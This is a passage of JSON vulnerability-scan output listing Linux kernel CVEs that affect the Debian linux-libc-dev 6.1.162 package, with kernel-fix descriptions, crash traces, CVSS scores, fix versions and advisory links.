"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31485", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/linus/b341c1176f2e001b3adf0b47154fc31589f7410e%20%287.0-rc6%29", "https://git.kernel.org/stable/c/15650dfbaeeb14bcaaf053b93cf631db8d465300", "https://git.kernel.org/stable/c/adb25339b66112393fd6892ceff926765feb5b86", "https://git.kernel.org/stable/c/b341c1176f2e001b3adf0b47154fc31589f7410e", "https://git.kernel.org/stable/c/ca4483f36ac1b62e69f8b182c5b8f059e0abecfb", "https://git.kernel.org/stable/c/d5d01f24bc6fbde40b4e567ef9160194b61267bc", "https://git.kernel.org/stable/c/e3fd54f8b0317fbccc103961ddd660f2a32dcf0b", "https://git.kernel.org/stable/c/e89e2b97253c124d37bf88e96e5e8ce5c3aeeec3", "https://git.kernel.org/stable/c/fbe6f40caeebb0b1ea9dfedc259124c1d3cda7a6", "https://lore.kernel.org/linux-cve-announce/2026042259-CVE-2026-31485-e15c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31485", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31485" ], "PublishedDate": "2026-04-22T14:16:45.923Z", "LastModifiedDate": "2026-11-05T22:18:34.13Z" }, { "VulnerabilityID": "CVE-2026-31488", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31488", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8c099b27aecefd82d57945e399ccbe581c17615fb258f7336258d495f3b2e419", "Title": "kernel: drm/amd/display: Do not skip unrelated mode changes in DSC validation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Do not skip unrelated mode changes in DSC validation\n\nStarting with commit 17ce8a6907f7 (\"drm/amd/display: Add dsc pre-validation in\natomic check\"), amdgpu resets the CRTC state mode_changed flag to false when\nrecomputing the DSC configuration results in no timing change for a particular\nstream.\n\nHowever, this is incorrect in scenarios where a change in MST/DSC configuration\nhappens in the same KMS commit as another (unrelated) mode change. For example,\nthe integrated panel of a laptop may be configured differently (e.g., HDR\nenabled/disabled) depending on whether external screens are attached. In this\ncase, plugging in external DP-MST screens may result in the mode_changed flag\nbeing dropped incorrectly for the integrated panel if its DSC configuration\ndid not change during precomputation in pre_validate_dsc().\n\nAt this point, however, dm_update_crtc_state() has already created new streams\nfor CRTCs with DSC-independent mode changes. In turn,\namdgpu_dm_commit_streams() will never release the old stream, resulting in a\nmemory leak. amdgpu_dm_atomic_commit_tail() will never acquire a reference to\nthe new stream either, which manifests as a use-after-free when the stream gets\ndisabled later on:\n\nBUG: KASAN: use-after-free in dc_stream_release+0x25/0x90 [amdgpu]\nWrite of size 4 at addr ffff88813d836524 by task kworker/9:9/29977\n\nWorkqueue: events drm_mode_rmfb_work_fn\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x6e/0xa0\n print_address_description.constprop.0+0x88/0x320\n ? dc_stream_release+0x25/0x90 [amdgpu]\n print_report+0xfc/0x1ff\n ? srso_alias_return_thunk+0x5/0xfbef5\n ? __virt_addr_valid+0x225/0x4e0\n ? dc_stream_release+0x25/0x90 [amdgpu]\n kasan_report+0xe1/0x180\n ? dc_stream_release+0x25/0x90 [amdgpu]\n kasan_check_range+0x125/0x200\n dc_stream_release+0x25/0x90 [amdgpu]\n dc_state_destruct+0x14d/0x5c0 [amdgpu]\n dc_state_release.part.0+0x4e/0x130 [amdgpu]\n dm_atomic_destroy_state+0x3f/0x70 [amdgpu]\n drm_atomic_state_default_clear+0x8ee/0xf30\n ? drm_mode_object_put.part.0+0xb1/0x130\n __drm_atomic_state_free+0x15c/0x2d0\n atomic_remove_fb+0x67e/0x980\n\nSince there is no reliable way of figuring out whether a CRTC has unrelated\nmode changes pending at the time of DSC validation, remember the value of the\nmode_changed flag from before the point where a CRTC was marked as potentially\naffected by a change in DSC configuration. Reset the mode_changed flag to this\nearlier value instead in pre_validate_dsc().\n\n(cherry picked from commit cc7c7121ae082b7b82891baa7280f1ff2608f22b)", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-1288" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27353", "https://access.redhat.com/errata/RHSA-2026:27354", "https://access.redhat.com/errata/RHSA-2026:30848", "https://access.redhat.com/errata/RHSA-2026:43231", "https://access.redhat.com/errata/RHSA-2026:44385", "https://access.redhat.com/errata/RHSA-2026:47632", "https://access.redhat.com/errata/RHSA-2026:47739", "https://access.redhat.com/errata/RHSA-2026:47869", "https://access.redhat.com/errata/RHSA-2026:53330", "https://access.redhat.com/errata/RHSA-2026:55445", "https://access.redhat.com/security/cve/CVE-2026-31488", "https://bugzilla.redhat.com/2460619", "https://bugzilla.redhat.com/2464397", "https://bugzilla.redhat.com/2468124", "https://bugzilla.redhat.com/2481980", "https://bugzilla.redhat.com/2482025", "https://bugzilla.redhat.com/2482031", "https://bugzilla.redhat.com/2482588", "https://bugzilla.redhat.com/2482594", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460619", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481980", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46090", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-30848.html", "https://errata.rockylinux.org/RLSA-2026:27353", "https://git.kernel.org/linus/aed3d041ab061ec8a64f50a3edda0f4db7280025%20%287.0-rc6%29", "https://git.kernel.org/stable/c/10862e344b4d6434642a48c87d765813fc0b0ba7", "https://git.kernel.org/stable/c/111208b5b7ebcdadb3f922cc52d8425f0fa91b33", "https://git.kernel.org/stable/c/21159d8b335a6b9f44cbb506733013a902ae2da4", "https://git.kernel.org/stable/c/8a5edc97fd9c6415ff2eff872748439a97e3c3d8", "https://git.kernel.org/stable/c/aed3d041ab061ec8a64f50a3edda0f4db7280025", "https://git.kernel.org/stable/c/da1d0ed31e9802fd99384f43cc63678a5a11cb41", "https://linux.oracle.com/cve/CVE-2026-31488.html", "https://linux.oracle.com/errata/ELSA-2026-53330.html", "https://lore.kernel.org/linux-cve-announce/2026042200-CVE-2026-31488-fe04@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31488", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31488.json", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31488" ], "PublishedDate": "2026-04-22T14:16:46.453Z", "LastModifiedDate": "2026-10-19T19:17:56.827Z" }, { "VulnerabilityID": "CVE-2026-31489", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31489", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:731f88504e9ee18c21f8cad2f2f9cdcda54255d808c8ca4eebcd8cc30fd8b0ff", "Title": "kernel: spi: meson-spicc: Fix double-put in remove path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: meson-spicc: Fix double-put in remove path\n\nmeson_spicc_probe() registers the controller with\ndevm_spi_register_controller(), so teardown already drops the\ncontroller reference via devm cleanup.\n\nCalling spi_controller_put() again in meson_spicc_remove()\ncauses a double-put.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31489", "https://git.kernel.org/linus/63542bb402b7013171c9f621c28b609eda4dbf1f%20%287.0-rc6%29", "https://git.kernel.org/stable/c/01f5f7976c24d6e9beef6b5a410af3b9b1d4d476", "https://git.kernel.org/stable/c/0d645c6d13fa0597935d3d16b09a7ba5d24ed284", "https://git.kernel.org/stable/c/40ad0334c17b23d8b66b1082ad1478a6202e90e2", "https://git.kernel.org/stable/c/63542bb402b7013171c9f621c28b609eda4dbf1f", "https://git.kernel.org/stable/c/7434c64ddae88a02e7fb478bc256cc100d48d3e3", "https://git.kernel.org/stable/c/9b812ceb75a6260c17c91db4b9e74ead8cfa06f5", "https://git.kernel.org/stable/c/d61bcec3aec6f0244a9b963e0c76c00f771d49b6", "https://git.kernel.org/stable/c/da06a104f0486355073ff0d1bcb1fcbebb7080d6", "https://linux.oracle.com/cve/CVE-2026-31489.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042201-CVE-2026-31489-3a01@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31489", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31489" ], "PublishedDate": "2026-04-22T14:16:46.603Z", "LastModifiedDate": "2026-06-19T13:16:26.467Z" }, { "VulnerabilityID": "CVE-2026-31493", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31493", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1d1656145e6ccb95a72a7a85d61f592b041a14fbd81e4de634ec106198e5f6e7", "Title": "kernel: RDMA/efa: Fix use of completion ctx after free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/efa: Fix use of completion ctx after free\n\nOn admin queue completion handling, if the admin command completed with\nerror we print data from the completion context. The issue is that we\nalready freed the completion context in polling/interrupts handler which\nmeans we print data from context in an unknown state (it might be\nalready used again).\nChange the admin submission flow so alloc/dealloc of the context will be\nsymmetric and dealloc will be called after any potential use of the\ncontext.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:H", "V3Score": 5.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31493", "https://git.kernel.org/linus/ef3b06742c8a201d0e83edc9a33a89a4fe3009f8%20%287.0-rc6%29", "https://git.kernel.org/stable/c/0dd98aea1c0c45987fa2dd92f988b0eb1a72c125", "https://git.kernel.org/stable/c/1cf95fe5dc5471efea947b4c6f8913da6bc7976e", "https://git.kernel.org/stable/c/7ba09d85f177e9f5f64b881f33dbcb57b2cf23d5", "https://git.kernel.org/stable/c/8c24b5179af260a5f36571c992d29aab1f448544", "https://git.kernel.org/stable/c/ef3b06742c8a201d0e83edc9a33a89a4fe3009f8", "https://lore.kernel.org/linux-cve-announce/2026042202-CVE-2026-31493-4d67@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31493", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-31493" ], "PublishedDate": "2026-04-22T14:16:47.17Z", "LastModifiedDate": "2026-11-05T22:18:34.817Z" }, { "VulnerabilityID": "CVE-2026-31500", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31500", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b0869ff519b008a1c2b4a12f7e81f6d84ddbe4f2f7ca8b03674a8b033bf521e8", "Title": "kernel: Bluetooth: btintel: serialize btintel_hw_error() with hci_req_sync_lock", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: btintel: serialize btintel_hw_error() with hci_req_sync_lock\n\nbtintel_hw_error() issues two __hci_cmd_sync() calls (HCI_OP_RESET\nand Intel exception-info retrieval) without holding\nhci_req_sync_lock(). This lets it race against\nhci_dev_do_close() -\u003e btintel_shutdown_combined(), which also runs\n__hci_cmd_sync() under the same lock. When both paths manipulate\nhdev-\u003ereq_status/req_rsp concurrently, the close path may free the\nresponse skb first, and the still-running hw_error path hits a\nslab-use-after-free in kfree_skb().\n\nWrap the whole recovery sequence in hci_req_sync_lock/unlock so it\nis serialized with every other synchronous HCI command issuer.\n\nBelow is the data race report and the kasan report:\n\n BUG: data-race in __hci_cmd_sync_sk / btintel_shutdown_combined\n\n read of hdev-\u003ereq_rsp at net/bluetooth/hci_sync.c:199\n by task kworker/u17:1/83:\n __hci_cmd_sync_sk+0x12f2/0x1c30 net/bluetooth/hci_sync.c:200\n __hci_cmd_sync+0x55/0x80 net/bluetooth/hci_sync.c:223\n btintel_hw_error+0x114/0x670 drivers/bluetooth/btintel.c:254\n hci_error_reset+0x348/0xa30 net/bluetooth/hci_core.c:1030\n\n write/free by task ioctl/22580:\n btintel_shutdown_combined+0xd0/0x360\n drivers/bluetooth/btintel.c:3648\n hci_dev_close_sync+0x9ae/0x2c10 net/bluetooth/hci_sync.c:5246\n hci_dev_do_close+0x232/0x460 net/bluetooth/hci_core.c:526\n\n BUG: KASAN: slab-use-after-free in\n sk_skb_reason_drop+0x43/0x380 net/core/skbuff.c:1202\n Read of size 4 at addr ffff888144a738dc\n by task kworker/u17:1/83:\n __hci_cmd_sync_sk+0x12f2/0x1c30 net/bluetooth/hci_sync.c:200\n __hci_cmd_sync+0x55/0x80 net/bluetooth/hci_sync.c:223\n btintel_hw_error+0x186/0x670 drivers/bluetooth/btintel.c:260", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 6.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31500", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/94d8e6fe5d0818e9300e514e095a200bd5ff93ae%20%287.0-rc6%29", "https://git.kernel.org/stable/c/5f84e845648dfa86e42de5487f1a774b42f0444d", "https://git.kernel.org/stable/c/66696648af477dc87859e5e4b607112f5f29d010", "https://git.kernel.org/stable/c/7e041d0aad1d4d43d921ace052e04f4e2cacaed3", "https://git.kernel.org/stable/c/94d8e6fe5d0818e9300e514e095a200bd5ff93ae", "https://git.kernel.org/stable/c/e10a4cb72468686ffbe8bb2b0520e37f6be1a0c5", "https://git.kernel.org/stable/c/f7d84737663ad4a120d2d8ef1561a4df91282c2e", "https://linux.oracle.com/cve/CVE-2026-31500.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042204-CVE-2026-31500-c032@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31500", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31500" ], "PublishedDate": "2026-04-22T14:16:48.427Z", "LastModifiedDate": "2026-11-05T22:18:35.893Z" }, { "VulnerabilityID": "CVE-2026-31527", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31527", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f553bb5e9131e18b5383f42b594dbbfcc91dc5afe2b6f8cef794bd3da0e6d564", "Title": "kernel: driver core: platform: use generic driver_override infrastructure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndriver core: platform: use generic driver_override infrastructure\n\nWhen a driver is probed through __driver_attach(), the bus' match()\ncallback is called without the device lock held, thus accessing the\ndriver_override field without a lock, which can cause a UAF.\n\nFix this by using the driver-core driver_override infrastructure taking\ncare of proper locking internally.\n\nNote that calling match() from __driver_attach() without the device lock\nheld is intentional. [1]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "bottlerocket": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31527", "https://access.redhat.com/security/cve/CVE-2026-31527", "https://git.kernel.org/linus/2b38efc05bf7a8568ec74bfffea0f5cfa62bc01d%20%287.0-rc5%29", "https://git.kernel.org/stable/c/2b38efc05bf7a8568ec74bfffea0f5cfa62bc01d", "https://git.kernel.org/stable/c/492349e5e4a369a8b62781100a3ade470bf1ce6b", "https://git.kernel.org/stable/c/7c02a9bd7d14a89065fcf672b86d8e1d1a41d3b1", "https://git.kernel.org/stable/c/9a6086d2a828dd2ff74cf9abcae456670febd71f", "https://git.kernel.org/stable/c/edee7ee5a14c3b33f6d54641f5af5c5e9180992d", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.4.2/BRSA-gvsjouhoqh4p.toml", "https://linux.oracle.com/cve/CVE-2026-31527.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31527-a1bc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31527", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31527" ], "PublishedDate": "2026-04-22T14:16:52.903Z", "LastModifiedDate": "2026-11-05T22:18:38.5Z" }, { "VulnerabilityID": "CVE-2026-31532", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31532", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:da7b6b3d5fd376fe3baba72dbf34245ac45a6dd20bacdba13a5221f3e8e718a0", "Title": "kernel: can: raw: fix ro-\u003euniq use-after-free in raw_rcv()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncan: raw: fix ro-\u003euniq use-after-free in raw_rcv()\n\nraw_release() unregisters raw CAN receive filters via can_rx_unregister(),\nbut receiver deletion is deferred with call_rcu(). This leaves a window\nwhere raw_rcv() may still be running in an RCU read-side critical section\nafter raw_release() frees ro-\u003euniq, leading to a use-after-free of the\npercpu uniq storage.\n\nMove free_percpu(ro-\u003euniq) out of raw_release() and into a raw-specific\nsocket destructor. can_rx_unregister() takes an extra reference to the\nsocket and only drops it from the RCU callback, so freeing uniq from\nsk_destruct ensures the percpu area is not released until the relevant\ncallbacks have drained.\n\n[mkl: applied manually]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/security/cve/CVE-2026-31532", "https://bugzilla.redhat.com/2394648", "https://bugzilla.redhat.com/2425046", "https://bugzilla.redhat.com/2429602", "https://bugzilla.redhat.com/2432389", "https://bugzilla.redhat.com/2432400", "https://bugzilla.redhat.com/2439852", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2448745", "https://bugzilla.redhat.com/2453803", "https://bugzilla.redhat.com/2454844", "https://bugzilla.redhat.com/2461107", "https://bugzilla.redhat.com/2461521", "https://bugzilla.redhat.com/2467059", "https://bugzilla.redhat.com/2467144", "https://bugzilla.redhat.com/2467771", "https://bugzilla.redhat.com/2477015", "https://bugzilla.redhat.com/2477802", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", 